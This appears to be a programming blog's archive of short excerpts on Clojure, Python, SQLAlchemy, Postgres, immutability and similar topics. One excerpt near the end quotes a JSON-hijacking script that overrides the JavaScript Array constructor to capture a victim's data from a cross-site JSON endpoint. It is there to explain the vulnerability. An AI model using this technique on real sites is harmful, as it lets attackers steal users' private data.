We all like simple tools. Complexity kills. It makes our work difficult and gives us much steeper learning curve. Programmers need to know how things work. Otherwise, they feel insecure. If we work with a complex system, then we have a big gap between “I am using it” and “I know how it works”. For example, code like this hides complexity:

var page = Framework.createPage({ ‘type’: ‘home’, ‘visible’: true });

Let’s say that this is a real framework. Behind the scenes, createPage generates a ...

January 29th, 2015

# Using gulp-diff to discover which of your Javascript won’t minify

I am astounded that the tech industry thinks this is a problem worth having. Do we really need any more evidence that HTTP and HTML and Javascript have failed and should be replaced with a new protocol?

Unfortunately, this is a generic problem with minifying code in JavaScript. Because JavaScript is untyped, it is easy to introduce errors in minification like this when variable names are counted on not changing. I personally think programming like this is an ...

January 29th, 2015

# When is dependency injection a bad thing?

Interesting:

Basically, dependency injection makes some (usually but not always valid) assumptions about the nature of your objects. If those are wrong, DI may not be the best solution:

First, most basically, DI assumes that tight coupling of object implementations is ALWAYS bad. This is the essence of the Dependency Inversion Principle: “a dependency should never be made upon a concretion; only upon an abstraction”.

This closes the dependent object to change based on a change to the concrete implementation; a class depending ...

January 28th, 2015

# Immutability changes everything, part CXXVIII

Interesting:

If I had to give a single reason to use Clojure, it would be this: immutability is awesome. It protects you from yourself in ways that aren’t immediately obvious at first, but become more apparent over time.

The argument that follows is particularly catered to the world of web development, but remains applicable in other contexts as well.

In short: application state is a source of complexity, and unwarranted complexity is a developer’s worst enemy. This is true on the basic level ...

January 22nd, 2015

# How do you enforce the integrity of your system?

I had a long conversation today with a very smart engineer. We have different views about things such as types and immutable data. It occurred to me that, in some sense, we both want the same thing: some sort of integrity check for our systems. And yet, we prefer to put these constraints in different places. His preferences:

1.) the dependency injector loads things in an order that ensures correctness

2.) the database does some (but not all) integrity checks (they ...

January 19th, 2015

# The unnecessary complexity of Ruby

Interesting:

Some imported code could be modifying methods on built-in classes. You can never be sure exactly what will happen when this Ruby code executes.

He’s right about that. “Readable” isn’t the word I’d use though: Ruby isn’t “reason-aboutable.” You can’t be completely sure what it’s going to do without running it. (No wonder Rubyists are such good testers.)

Tom agreed that Ruby could be good at expressing the intent of the programmer. This is a different goal from knowing exactly how it ...

January 19th, 2015

# The flexibility (and ease of debugging) of optional types in Clojure

Jessica Kerr has a post about optional typing in Clojure. This is related to my post How ignorant am I, and how do I formally specify that in my code? Obviously I agree with this:

It’s hard to find the difference because the difference isn’t content: it’s type. I expected a vector of a map, and got a list of a vector of a map. Joy.

I went back and added a few schemas to my functions, and the error changed to

...

January 16th, 2015

# Use an obvious alias to teach newcomers about a language

I like this comment very much, as this is something that I remember struggling with:

The examples are fairly easy to follow. Many of the examples use require to alias dependent namespaces. I think this is key when presenting Clojure examples. Having to prefix calls to library functions causes them to stand out from uses of core Clojure functions. It also lets readers know from which library each function comes from. I would have liked to see all of the examples ...

January 15th, 2015

# Why I love immutability

I love Clojure. I love immutability. Why? Maybe I lack self-discipline, or maybe my co-workers lack self-discipline (not my current co-workers, who are very talented, but people I’ve worked with in the past). I am tired of dealing with mutable variables in loops, which allow us to many easy mistakes like this:

howMuchPrizeMoney = 0; arrayOfMoneyPerCategory =[]; for (i=0; i < users.length; i++) { u = users[i]; howMuchPrizeMoney += u.prize_money; } for (i=0; i < contests.length; i++) { ...

January 14th, 2015

# Basecamp caches HTML to go fast

Interesting:

Stacker can only make things appear so fast. If actions still take 500ms to render, it’s not going to have that ultra snappy feel that Basecamp Next does. To get that sensation, your requests need to take less than 100ms. Once our caches are warm, many of our requests take less than 50ms and some even less than 20ms.

The only way we can get complex pages to take less than 50ms is to make liberal use of caching. We ...

January 14th, 2015

# Async difference between blocking and parking

Interesting:

There are two varieties of waiting: parking and blocking. Blocking is the kind of waiting you’re familiar with: a thread stops execution until a task is complete. Usually this happens when you’re performing some kind of I/O. This kind of waiting keeps the thread alive, doing no work, so that if you want your program to continue doing work you have to create a new thread. In the last chapter, you learned how to do this with future.

Parking moves the ...

January 14th, 2015

# A Pythonista reacts to Clojure’s immutability

Interesting:

Although the functional language purists will have other criteria (functions as first class values (python is already fine on this count)) the functional programming ethos is what is of interest to me: the idea of describing data transformations and piping the data through these transformations. Thats the essential, practical take-home message of functional programming and reproducibility. In pursuing these goals, we see the incorporation of some great libraries for R that allow piping and laziness, facilitating the easy composition of ...

January 14th, 2015

# Maintain acceptance test suites

Very interesting notes from Jakub Holý

How to Create Maintainable Acc. T. Suites

Good acceptance criteria (“INVEST” – especially valuable to users, testable) Layered implementation: Acceptance criteria (Given/When/Then) – as xUnit tests or with Concordion/FitNesse/… Test implementation – it’s crucial that they use a (business) domain-specific language (DSL), no direct relation to UI/API, which would make it brittle Application driver layer – translates the DSL to interactions with the API/UI, extracts and returns results Take care to keep test implementation efficient and well factored, especially wrt. ...

January 14th, 2015

# How to set up project.clj for a Clojure project

This looks great:

Some development tools, such as lein-test-refresh, are useful to have across most of your Clojure projects. Rather nicely, Leiningen supports adding global profiles to ~/.lein/profiles.clj. These profiles are available in all your projects.

{:user {:plugin-repositories [["private-plugins" {:url "private repo url"}]] :dependencies [[pjstadig/humane-test-output "0.6.0"]] :injections [(require 'pjstadig.humane-test-output) ...

January 14th, 2015

# Assertions in dynamic languages give you the benefits of static type safety, with less code and ceremony

Interesting:

Well engineered non-trivial systems written in dynamic languages embrace runtime assertions especially near public interfaces. For example here’s a snippet of code from React.js that does exactly that:

_renderValidatedComponent: function() { /* ... */ invariant( renderedComponent === null || renderedComponent === false || ReactElement.isValidElement(renderedComponent), '%s.render(): A valid ReactComponent must be returned. You may have ' + ...

January 13th, 2015

# The Internet Protocol is out of date, can RINA save us?

Interesting:

There is, of course, one clear layer violation that NAT has to deal with, but that’s not NAT’s fault either. Some application protocols put an IP address inside the application layer header. These have to be modified by NAT, so a NAT has to understand the syntax of all of these layer violating applications that it supports. The original application that did this was FTP, going back to the very early ARPANET days. FTP did this because – remember, this was a ...

January 11th, 2015

# Dependency Injection in Python and Javascript

To start with, consider this quote from Martin Fowler writing about Rake:

This is a somewhat skewed story. I’m not trying to write a tutorial on Rake – I’m going to concentrate on things I find interesting rather than give a complete coverage. I’m not going to assume you know Ruby, Rake, or indeed any other build language. I’ll explain relevant bits of Ruby as I go along. Hopefully if you’ve done any messing with these, or are just interested in ...

January 11th, 2015

# Clojure tessers

Interesting:

Tesser.core looks a lot like the Clojure seq API, and many of its functions have similar names. Their semantics differ, however: Tesser folds do not preserve the order of inputs, and when executed, they run in parallel.

Applying a fold using tesser.core/tesser uses mutiple threads proportional to processor cores. Unlike reducers, we don’t use the Java forkjoin pool, just plain old threads. I’ve seen too many weird performance issues compared to regular threads.

(require '[tesser.core :as t]) (t/tesser [[1 2 3] [4 5 ...

January 9th, 2015

# The dictatorship of the GIL keeps you safe and makes you slow

But in jRuby there is no GIL, so you can go fast, and you can also hurt yourself:

Source

January 7th, 2015

# Cloxp

Interesting:

Clojure comes with a set of qualities that shape how programmers can interact with the language and runtime environment. To a large part this is derived from the powerful yet simple ideas and concepts Clojure builds on. Properties such as homoiconicity (your code is nothing special, “just” data) enable several versatile features: Meta-programming based on code transformations (macros). Documentation and other meta-data that becomes part of the actual system. Structural editing and inspection because, well, code is just data!

Clojure is ...

January 7th, 2015

# Why is modularity such a struggle in Javascript?

Surely it is suspicious that this is being so often discussed among Javascripters? Doesn’t that suggest that Javascript is being pushed to do things that it can not do?

JavaScript Modularity Shaming:

Pete Hunt of React fame recently got into an online discussion about the pros and cons of Webpack vs. Browserify. In the discussion he inadvertently coins a hilarious term for a form of rhetoric in some circles of the JavaScript community – “Modularity Shaming”. React itself has been on ...

January 7th, 2015

# Is there any point to dependency injection frameworks in dynamic languages?

2 essays, attacking dependency injection in Ruby and Python:

Python:

Dependency injection is a good idea a lot of the time. You don’t need a class to inject dependencies into, either. Every time you pass something to a free function as a parameter, instead of having the function call another function to get the information, you’re basically doing the same thing: inversion of control. Python also lets you treat modules similarly to classes in a lot of ways (certainly more ...

January 5th, 2015

# Defending Python’s Pyramid design choices

Interesting:

A canon of Python popular culture is “TIOOWTDI” (“there is only one way to do it”, a slighting, tongue-in-cheek reference to Perl’s “TIMTOWTDI”, which is an acronym for “there is more than one way to do it”).

Pyramid is, for better or worse, a “TIMTOWTDI” system. For example, it includes more than one way to resolve a URL to a view callable: via url dispatch or traversal. Multiple methods of configuration exist: imperative configuration, configuration decoration, and ZCML (optionally via ...

January 5th, 2015

# Handling HTTP routes in Python and Clojure

Very interesting:

Route handling 2 HTTP verbs in Flask (Python):

import flask @flask.route('/user/', methods=['GET', 'POST']) def user(uid): if flask.request.method == 'GET': return db.get_user_by_id(uid) return db.create_user(flask.request, uid)

Instead of using Compojure, my simple API servers used the underlying route matcher utility, clout. This was partly because my application needed one or two simple routes and so the additional power and complexity of Compojure was unnecessary. By using clout directly, the surface area ...

January 5th, 2015

# Jakub Holý: Start with the simplest version you can

Jakub Holý has an interesting post:

Once upon time, there was a webshop portal with hundreds of partner webshops displayed on the front page. Potential users wanted to find out if their favorite webshops or a particular type of goods were available, existing users wanted to find a shop quickly. Therefore it was decided to implement search. But how to do that?

[a section about the first attempt]

Alternative 2: Minimal viable feature growing iteratively

After the original diversion, I have focused on ...

January 5th, 2015

# (Computer) Language is culture

I find it remarkable that each computer language has such a strongly unique culture. I notice that in Python-land it is common to profile the heroes of Python-land. There is no other language community that does anything like this:

This week we welcome Dr. Margherita DI LEO as our PyDev of the Week. She is our first PyLady in this series! Let’s spend some time getting to know her!

Can you tell us a little about yourself (hobbies, education, etc):

I come ...

January 4th, 2015

# The power of the double-linked list

This gave me a completely new appreciation for a data structure that I have rarely thought much about:

– First we mark the node deleted

– We walk our prev chain backwards until we find a live node, and we walk our next chain forwards until we find a live node

– We then set the next of our predecessor and the prev of our successor to each other, unconditionally

– We leave the pointers of the deleted node untouched

Now, if deletes occur ...

January 4th, 2015

# What does statistical over-fitting look like?

I like how clear this makes the mistake of over-fitting:

The model explains over 99% of the variance in the data. Like I said, not a typical data set.

View the estimates of the coefficients, and the p-values of their t-tests

(:coefs lm) (:t-probs lm) The values for coefficients b0, … b10 are (0.878 0.065 -0.066 -0.016 0.037 0.003 -0.009 -2.8273E-4 9.895E-4 1.050E-5 -4.029E-5), and the p-values are (0 0 0 1.28E-5 0 0.083 1.35E-12 0.379 3.74E-8 0.614 2.651E-5).

All the coefficients are significant except ...

January 4th, 2015

# The Linux system calls worth knowing

Very interesting:

Here are the steps that the process involves:

fwrite, together with the rest of the C standard library, is implemented in glibc*, which is one of the core components of the Linux operating system.

fwrite is essentially a wrapper for the write library call.

write will load the system call ID (which is 1 for write) and arguments into the processor registers, and then cause the processor to switch to kernel level. The way this is done depends on the processor ...

January 4th, 2015

# Object Oriented Programming is often defended with examples of Anthropomorphism Gone Wrong

So true:

The school principal is standing in front of fresh students, who need to go to their respective classrooms. Only the students don’t know which classroom yet. How can we get each student to their assigned classroom?

…When pushed too far, analogies break down. And we have pushed this one way too far. The reasons why it is better for the principal to just tell students where to go are rather specific:

First, it makes the whole process a lot faster: ...

December 31st, 2014

# Accessing Columns in SqlAlchemy

A reminder to myself:

The MetaData object contains all of the schema constructs we’ve associated with it. It supports a few methods of accessing these table objects, such as the sorted_tables accessor which returns a list of each Table object in order of foreign key dependency (that is, each table is preceded by all tables which it references):

>>> for t in metadata.sorted_tables: ... print t.name user user_preference invoice invoice_item

In most cases, individual Table objects have been explicitly declared, and these objects are typically ...

December 30th, 2014

# Always git diff HEAD before committing

Know what you’re about to push up.

Source

December 30th, 2014

# We need to stop using HTTP for software

Regarding the conversation on Hacker News, I strongly agree with “the entire stack is more less broken”. Back in 1989 Sir Tim Berners-Lee put a lot of careful thought into the design of a protocol for sharing documents using IP/TCP. However, when Ajax and Web 2.0 got going circa 2004, the emphasis was on offering software over TCP, and for that the HTTP protocol was poorly suited. Rather than carefully rethink the entire stack, and ideally come up with a ...

December 30th, 2014

# How to convert Sqlite to Postgres

I spent some hours trying to convert a Sqlite database to Postgres, and in the end, I failed. Or rather, I decided that it was no longer worth the time. I thought this would cost me 30 minutes, but hours went by and I was unable to make progress. For those using Ruby On Rails there is a good article about how to do it. I was not using any framework. Some of the problems that I ran into: ...

December 30th, 2014

# The lack of expressiveness in Go

This is the strongest attack I’ve ever read about Go:

Deduping elements of a slice happens the following way in go:

package main

import “fmt”

func main() { // Given the following list: xs := []int{8, 6, 8, 2, 4, 4, 5, 9}

// For loop is the only generic way to traverse slices, you we have to write the following: index := map[int]struct{}{} for _, x := range xs { index[x] = struct{}{} }

// We can “easily” acquire the deduped slice by using a for loop again… deduped := []int{} for ...

December 29th, 2014

# Worse is Better is often worse

Interesting:

There’s nothing inherently wrong with making tradeoffs like C++ did. And since C++ we’ve seen many instances of these sorts of tradeoffs in the software world. Scala is another recent example–a powerful functional language which makes compromises to retain easy interoperability with Java. What I want to deconstruct is the culture that has come along to rationalize these sorts tradeoffs without the need for serious justification. That is, we do not merely calculate in earnest to what extent tradeoffs are ...

December 29th, 2014

# It’s hard to preserve programmer intent across all stages down to the silicon

Interesting:

All modern and advanced compilers convert source code through various stages and representation into an internal data-flow representation, usually a variant of SSA. The compiler backend converts that back to an imperative representation, i.e. machine code. That entails many complicated transforms e.g. register allocation, instruction selection, instruction scheduling and so on. Lots of heuristics are used to tame their NP-complete nature. That implies missing some optimization opportunities, of course.

OTOH a modern CPU uses super-scalar and out-of-order execution. So the first thing it has to do, is to perform ...

December 29th, 2014

# Quality should be the responsibility of one person

The stuff about quality is interesting. The rest is a misguided rant that gets all of its historical facts wrong. Unix fractured in the 90s? Good lord! It was fractured a long time before that.

One of Brooks’s many excellent points is that quality happens only if somebody has the responsibility for it, and that “somebody” can be no more than one single person—with an exception for a dynamic duo. I am surprised that Brooks does not cite Unix as ...

December 29th, 2014

# Which module should we use for RESTful APIs in Python?

In Python we have a great many HTTP modules to choose from:

urllib2 httplib httplib2 pycurl requests

Balthazar offers a good overview of the modules and concludes:

requests

Finally, let’s see how to create a Github repo with requests.

import requests, json github_url = "https://api.github.com/user/repos" data = json.dumps({'name':'test', 'description':'some test repo'}) r = requests.post(github_url, data, auth=('user', '*****')) print r.json

Wait, is that it? No CreateManagerWithExtraLargeName() method call? No manual credential sending? Well, no. requests was designed to be an HTTP high level API, supporting all HTTP methods, SSL encryption, proxies, redirection, caching, etc.

I ...

December 29th, 2014

# How to imitate the Flask app.route() decorator

Interesting:

Now we’re almost there! But what use is that dictionary of routes if there’s no way to access the view functions inside of it? Lets add a method serve(path), which gives us the result of running a function for a given route if it exists or raises an exception if the route has not been registered yet.

class NotFlask(): def __init__(self): self.routes = {} def route(self, route_str): ...

December 26th, 2014

# Boring is good in Python’s __init__

Interesting:

You might notice that these three observations I’ve made all sound a bit negative. You might conclude that I think this is an antipattern to be avoided. If so, feel free to give yourself a pat on the back at this point.

But if this is an antipattern, is there a pattern to use instead? I think so. I’ll try to explain it.

The general idea behind the pattern I’m going to suggest comes in two parts. The first part is ...

December 24th, 2014

# Get SqlAlchemy to call CREATE SCHEMA to keep PostGres happy

I have a SqlAlchemy model with a schema argument like so:

Base = declarative_base()

class Road(Base): __tablename__ = “roads” __table_args__ = {‘schema’: ‘my_schema’} id = Column(Integer, primary_key=True)

When I use Base.metadata.create_all(engine) it correctly issues a CREATE TABLE with the schema name on the front like so “CREATE TABLE my_schema.roads (” but Postgresql rightly complains that the schema doesn’t exist.

Am I missing a step to get SqlAlchemy to issue the CREATE SCHEMA my_schema or do I have to call this ...

December 24th, 2014

# Generate Python models from an SQL schema

Just a reminder to myself, this is how we should generate Python models for our SQL:

from sqlalchemy import create_engine, MetaData, Table, Column, ForeignKey engine = create_engine("sqlite:///mydatabase.db") # produce our own MetaData object metadata = MetaData() # we can reflect it ourselves from a database, using options # such as 'only' to limit what tables we look at... metadata.reflect(engine, only=['user', 'address']) # ... or just define our own Table objects with it (or combine both) Table('user_order', metadata, ...

December 24th, 2014

# .tgz file- tar: Unrecognized archive format

I got this error during a build:

.tgz file- tar: Unrecognized archive format

Turned out I was working against a mirror that was no longer being updated. I had read instructions telling me to set a particular URL for a mirror in my .zshrc file, but the mirror was out of date to whatever was downloaded was wrong.

This was a tough bug.

Source

December 24th, 2014

# Why callback hell is hell

This is great:

In the example above, it’s disturbing that simple and intuitively harmless changes introduced such drastic errors. Experientially, it’s kind of like executing print 2 + 2 and seeing 5. What was it about that logging API that turned us into such bad programmers?

The specification of a typical callback-based API is simple: pass in any function and it will get called when the relevant event happens. Unfortunately, this simple specification doesn’t reflect reality. You can’t just call any function ...

December 24th, 2014

# git pull –rebase

Tried to push to git and got ref errors? A reminder to myself:

If the GitHub repo has seen new commits pushed to it, while you were working locally, I would advice for:

git pull –rebase git push

The full syntax is:

git pull –rebase origin master git push origin master

That way, you would replay (the –rebase part) your local commits on top of the newly updated origin/master (or origin/yourBranch: git pull origin yourBranch).

See a more complete example in the chapter 6 Pull with rebase ...

December 21st, 2014

# Guido van Rossum agrees with me

When I wrote How ignorant am I, and how do I formally specify that in my code? I said:

For decades, computer programmers have argued with each other over the issue of strict data-type enforcement, versus dynamic data-type unenforcement. And after 16 years of computer programming, I have come down firmly in the middle: I like optional typing.

Clojure allows me to work dynamically, but to type hint when I want to, so I can get the performance benefits of type ...

December 20th, 2014

# Metaphors for bad code

Interesting:

I “write” a Call Option when I sell someone the right, but not the obligation, to buy in the future an agreed quantity of something at an price that is fixed now. So, for a payment now, I agree to sell you 10,000 chocolate santas[1] at 56 pence each, at any time up to 10th December. You’re prepared to pay the premium because you want to know that you’ll have santas in your stores at a price you can ...

December 20th, 2014

# Which is better, MongoDB or Postgres?

I am very impressed with the new JSON features in Postgres 9.4. So can Postgres completely replace MongoDB? There are some grouping and aggregate functions that MongoDB has that Postgres does not have. More so, at the Mongo shell I have access to the entire Javascript language, whereas Postgres only gives me SQL plus some cool extensions. I recently found out about “WITH” statements in Postgres. From the point of view of SQL, this is the coolest thing ever. From ...

December 20th, 2014

# An outside perspective on SqlAlchemy

Interesting:

For starters, as you might expect from the difference in Ruby vs. Python cultures, SQLAlchemy is more explicit than ActiveRecord. SQLAlchemy has what is called a “declarative” mode where you define your class and your table all at once (within a class that inherits from SQLAlchemy’s declarative_base class). But you can also explicitly create, edit, and inspect an explicit metadata object which defines the table. Then you can define a Python class for your object – and then use SQLAlchemy’s ...

December 19th, 2014

# The big Python surprise: a culture of composable libraries, like Clojure

It is well known that Clojure has a culture best summarized as “Clojure developers prefer to assemble their own stack from small, composable libraries.”

I have been working with Python lately. I am surprised by that it also has a culture of using small libraries. There have been 2 attempts at monolithic frameworks in Python: Zope and Django (maybe Pylons, though it is done as separate libraries, sort of like Symfony2 in PHP). But for the most part, Python goes for ...

December 19th, 2014

# What happens if you introduce a new pattern in your software but never replace the old?

This is very good:

Each new design and technology choice never completely replaced the one that went before. The application has archaeological layers revealing it’s history and the different technological fashions taken up successively by Laurence, Bruce, Ina and Gordy. If you look along the Version 4 line, you can see that there are four different ways of doing the same thing scattered throughout the code base.

Each successive lead developer acted in good faith. They genuinely wanted to improve the application ...

December 18th, 2014

# How to install Postgres

By coincidence, I installed Postgres 9.3 yesterday and today they released 9.4 so I’m doing it all over again. This was a good setup guide.

Source

December 16th, 2014

# Is PostGreSQL text search good enough?

Some interesting commentary:

As much as I would like it to be ‘good enough’, Postgres’ full text search lacks the feature set to be a reasonable solution to most search use cases. Background: I wrote a product search engine for a company called iTrackr using Postgres full text search, and later wrote the product search for milo.com using Solr. I also designed a simple (but very effective) algorithm to boost search rankings based on historical user click data, by generalizing click data ...

December 15th, 2014

# Logging activity can be expensive

Scaling issues.

Source

December 15th, 2014

# dtrace: error on enabled probe ID 5 (ID 992: io:mach_kernel:buf_strategy:start): illegal operation in action #3 at DIF offset 0

If I run “iotop” I see this error:

I looked into it and found this on StackOverflow:

I’ve looked into it a bit deeper and it does seem that it’s MySQL causing these heavy pulsing writes. When a table has an entry added or updated, does it have to re-write the entire table to disk or could it append/modify existing data? We are using MyISAM tables. We are also using SELECT queries with ORDER BY and TEXT fields, which of course require ...

December 3rd, 2014

# Java gave me a choice that I didn’t need, and I made the wrong choice

Interesting story:

I made a bug once, and I need to tell you about it. So, in 2001, I wrote a reference library for JSON, in Java, and in it, I had this line

private int index

that created a variable called “index” which counted the number of characters in the JSON text that we were parsing, and it was used to produce an ...

November 30th, 2014

# Why use Java?

This article is called “Java For Everything” and it makes a good case for re-using the same language over and over again, but it does not make any case for Java.

This makes clear of using the language that you know best:

And finally, I went to write a simple program that put up a web interface. I considered using Python, but this would have required me to figure out how to serve pages from its library. I had already ...

November 30th, 2014

# Letting others write your Emacs config

This is an interesting attitude:

After a long time of maintaining my own configuration I took the decision a few years ago to outsource it to people who really care about this stuff. I started with the Emacs Prelude (http://batsov.com/prelude/) which introduced me to some great tools. I recently switched to Vim bindings (evil-mode) and a week ago switched to Spacemacs (https://github.com/syl20bnr/spacemacs) which integrates better with evil-mode . So far I’m really liking the Spacemacs approach. tl;dr: Just use one of the ...

November 29th, 2014

# peerinvalid The package mocha does not satisfy its siblings’ peerDependencies requirements!

Setting up a new complicated system. I got to the point where “make build” completed. But I run into trouble with “make run”.

I don’t know why this error exists:

npm ERR! peerinvalid The package mocha does not satisfy its siblings’ peerDependencies requirements! npm ERR! peerinvalid Peer karma-mocha@0.1.9 wants mocha@* npm ERR! peerinvalid Peer mocha-as-promised@2.0.0 wants mocha@>= 1.8.0 Source

November 29th, 2014

# nixd is an automation framework to build your application environment

I am not clear why this is better than running a VM but this is an interesting attempt to fix the problem of setting up complex systems on machine:

nixd is an automation framework to build your application environment for development and production. It sits between build tools and configuration management engines, and lets you write simple shell scripts with hooks that will reliably get you from pristine source to running code in one command, and make every attempt to ...

November 29th, 2014

# We need a unified abstraction for apps to discover each others formats

Myself and a friend exchanged some email regarding the article “The Future of Asynchronous IO in Python”. My friend wrote:

Seems like he wants zmq/nanomsg embedded inside Python. I am not really sure why.

I responded:

I think what he is suggesting is more interesting: a single, unified way of speaking to all protocols (MySql, MongoDB, Redis, Kafka, etc). When he says “protocol” I think he means “byte format”. He points out that each app generally has its own method of ...

November 27th, 2014

# Slingshot cleans up its “catch any exception or object” syntax

Personally, I am pleased to see Slingshot improve this, as it is has long been a source of confusion. Paul Stadig writes a long comment that is critical of this change, but I disagree with his assumptions, especially here:

“It is confusing to have a class selector that selects against the wrapped object instead of the wrapper.” In other words (catch RuntimeException e …) selects against the wrapper object that is thrown whereas (catch Object o …) selects against ...

November 27th, 2014

# Why use Github and also Google Groups for an open source project?

This seems to be a universal pattern, where an open source project has both a Github account and a Google Groups mailist, but is the mailist really needed? Why not just use the tools offered by Github (issues, the wiki, etc). I like that Monger introduced a Feature Request label on Github:

Source

November 27th, 2014

# Flask uses assertions

Assertions don’t seem to be used very often in Python, but they are used in Flask:

eugene-eeo started the conversation:

eugene-eeo commented 10 hours ago

I was browsing through the source and found it weird that asserts were used instead of normal exceptions.

untitaker replied:

Alright. Because Flask is using assert-statements exactly as usually recommended. The Python wiki explains the meaning of assertion errors:

Assertions are not a substitute for unit tests or system tests, but rather a complement. Because assertions are a ...

November 27th, 2014

# Can Gunicorn die if bash quits before forking is done?

A very intersting bug:

Sly010 does some epic digging to find out why Gunicorn sometimes dies on startup:

Did a bit more digging:

# relevant section from daemonize() in util.py

if os.fork(): os._exit(0) os.setsid() ...

# (added 3 prints) # 3 out of 5 times this prints “1″ then silence. No gunicorn. # There is no error message and nothing in the logs.

if os.fork(): print "1" os._exit(0) print "2" os.setsid() print "3" ... # (added an extra sleep) # This prints 1,2,3 (but I would ...

November 27th, 2014

# The effects of signal() in a multithreaded process are unspecified

I did not know this, and I find this very surprising:

Continuing reading the manual page, the very first note under the NOTES section is this:

The effects of signal() in a multithreaded process are unspecified.

This is called Unspecified Behavior. What it means is that standard does not say anything as for how the function should behave in a multi-threaded environment. Therefore, it may exhibit a different behavior on different systems including different versions of the same system, at discretion of ...

November 27th, 2014

# Why I don’t use classes or protocols in Clojure

This post on Github sums it up very well. For almost every situation where, in an object oriented language, I would reach for interfaces and classes, in Clojure I tend to just use multi-methods.

The key issue is polymorphism. All of us want to work in a language that gives us powerful forms of polymorphism. All of the major languages offer us some types of polymorphism, but let us ask, which gives us the most powerful and flexible forms? ...

November 27th, 2014

# Returning an object from eval() in Javascript

I did not know this:

eval parses its argument in statement context. You have to put parentheses around an object literal if you want eval to return an object:

> eval(‘{ foo: 123 }’) 123

> eval(‘({ foo: 123 })’) { foo: 123 }

Source

November 27th, 2014

# A basic skeleton for python decorators

This is a nice resource that I will almost certainly come back to:

### Example usage ### class PrintDebugDecorator(Decorator): def _call(self, *args, **kwargs): print 'calling', self._f, 'with', args, 'and', kwargs return self._f(*args, **kwargs) class ModuloDecorator(Decorator): def _init(self, n=None): self.__n = n if n else 42 def _call(self, *args, **kwargs): ...

November 27th, 2014

# Protecting against JSON attacks in Flask

Interesting debate. So where should Flask enforce safety for the handling of JSON?

dghubble commented 18 hours ago

My understanding is that the previous behavior (always converting the args to a dict) was sufficient to always prevent a top level json list, but blocked the legitimate use case of jsonify’ing an object for which one has written a custom JSONEncoder. This PR seems to enable that ability, while still protecting against top level json lists.

Whether json lists are considered a vulnerability Flask ...

November 27th, 2014

# Top level arrays in Javascript are dangerous: Register callback on Javascript Array setters

Interesting attack:

So now what happens if a clever hacker is embedding this to his website and social engineers a victim to visiting his site:

<script type=text/javascript> var captured = []; var oldArray = Array; function Array() { var obj = this, id = 0, capture = function(value) { obj.__defineSetter__(id++, capture); if (value) captured.push(value); }; capture(); } </script> <script type=text/javascript src=http://example.com/api/get_friends.json></script> <script type=text/javascript> Array = oldArray; // now we have all the data in the ...

November 27th, 2014

# Weird that under Python 3.4 runtime you can import from 2.7

Interesting:

Weird that under Python 3.4 runtime you can import from 2.7. That should not be possible for all those sanity reasons.

Because allowing that means:

Thanks. I might miss something obvious but when using gunicorn MYPROJECT.wsgi:application i get:

File “/virtualenv/lib/python3.4/site-packages/django/utils/timezone.py”, line 13, in import pytz File “/virtualenv/lib/python3.4/site-packages/pytz/__init__.py”, line 37, in from pytz.lazy import LazyDict, LazyList, LazySet File “/virtualenv/lib/python3.4/site-packages/pytz/lazy.py”, line 3, in from UserDict import DictMixin File “/usr/lib/python2.7/UserDict.py”, line ...